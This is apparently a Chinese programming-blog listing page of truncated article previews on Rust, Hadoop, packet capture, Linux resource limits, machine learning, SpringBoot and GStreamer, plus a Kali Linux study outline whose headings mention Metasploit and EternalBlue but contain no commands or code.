前言 超过一定的年龄之后&#xff0c;所谓人生&#xff0c;无非是一个不断丧失的过程而已。宝贵的东西&#xff0c;会像梳子豁了齿一样从手中滑落下去。你所爱的人会一个接着一个&#xff0c;从身旁悄然消逝。——《1Q84》 \;\\\;\\\; 目录 前言自定义类型数字转枚举Cargo.tom…

2022年高校大数据挑战赛A题工业机械设备故障预测求解全过程论文及程序

2022年高校大数据挑战赛 A题 工业机械设备故障预测 原题再现&#xff1a; 制造业是国民经济的主体&#xff0c;近十年来&#xff0c;嫦娥探月、祝融探火、北斗组网&#xff0c;一大批重大标志性创新成果引领中国制造业不断攀上新高度。作为制造业的核心&#xff0c;机械设备在…

[计算机网络] 高手常用的几个抓包工具(上)

文章目录 高手常用的抓包工具一览什么是抓包工具优秀抓包工具WiresharkFiddlerTcpdumpCharles 高手常用的抓包工具一览 什么是抓包工具 抓包工具是一种可以捕获、分析和修改网络流量的软件。它可以帮助您进行网络调试、性能测试、安全审计等任务。 抓包工具可以实时地显示网…

XML处理相关——(待完善)

记录 || Python | 提取xml/tmx文件中的文本内容 python xml处理 xml内容提取

Hdoop学习笔记(HDP)-Part.02 核心组件原理

目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …

[论文阅读]Generalized Attention——空间注意力机制

Generalized Attention An Empirical Study of Spatial Attention Mechanisms in Deep Networks 论文网址&#xff1a;Generalized Attention 论文代码&#xff1a;文章最后有GeneralizedAttention的实现代码 简读论文 本文主要研究了深度学习网络中的注意力机制。作者们从不…

iOS Class Guard 成功了,但无法区分差异

​ 我正在开发一个静态库&#xff0c;并使用 Polidea 的 iOS Class Guard 来混淆我的静态库。我按照步骤在项目的根路径中下载 obfuscate_project&#xff0c;更改其中所需的名称&#xff0c;最后在终端中运行 bash obfuscate_project。我收到一条消息&#xff0c;说我的构建成…

【linux】/etc/security/limits.conf配置文件详解、为什么限制、常见限制查看操作

文章目录 一. limits.conf常见配置项详解二. 文件描述符&#xff08;file descriptor&#xff09;简述三. 为什么限制四. 相关操作1. 展示当前资源限制2. 查看系统当前打开的文件描述符数量3. 查看某个进程打开的文件描述符数量4. 各进程占用的文件描述符 /etc/security/limits…

树和二叉树的基本概念和堆的实现

树的概念及结构 树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 1.有一个特殊的结点&#…

第一类瑞利索末菲标量衍射模型的方孔衍射的空间像计算(附python计算代码)

记第一类瑞利索末菲标量衍射模型的方孔衍射的空间像计算(附python计算代码) RS type 1 衍射空间像计算傅里叶变换采样条件实际计算计算要求傅立叶变换法计算直接卷积方法计算代码傅立叶变换方法直接卷积https://zhuanlan.zhihu.com/p/624292239 Goodman, J. W. (2004). Intro…

logistic回归详解

为什么不直接统计标签数和预测结果数&#xff0c;计算精度&#xff1f; 因为 存在梯度为0的情况梯度不连续 为什么叫logistic回归 logistic是因为加了一个sigmoid函数&#xff0c;将输出预测值映射到【0&#xff0c;1】 有时候使用MSE损失函数&#xff0c;拟合 有时候使用c…

PyLMKit(5):基于网页知识库的检索增强生成RAG

基于网页知识库的检索增强生成RAG 0.项目信息 日期&#xff1a; 2023-12-2作者&#xff1a;小知课题: RAG&#xff08;Retrieval-Augmented Generation&#xff0c;检索增强生成&#xff09;是一种利用知识库检索的方法&#xff0c;提供与用户查询相关的内容&#xff0c;从而…

基于SpringBoot实现SSMP整合

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开心好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…

【Gstreamer】自定义Plugin及调用Plugin

Gstreamer自定义Plugin及调用自定义Plugin Gstreamer支持开发者自己创建Plugin&#xff0c;创建后的Plugin可以通过工具gst-inspect-1.0查看&#xff0c;并在代码中调用自定义的plugin。 Gstreamer 官网中给出了Plugin创建教程&#xff0c;但实际上如果按照教程一步步走&…

kali学习

目录 黑客法则&#xff1a; 一&#xff1a;页面使用基础 二&#xff1a;msf和Windows永恒之蓝漏洞 kali最强渗透工具——metasploit 介绍 使用永恒之蓝进行攻击 ​编辑 使用kali渗透工具生成远程控制木马 渗透测试——信息收集 域名信息收集 黑客法则&#xff1a; 一&…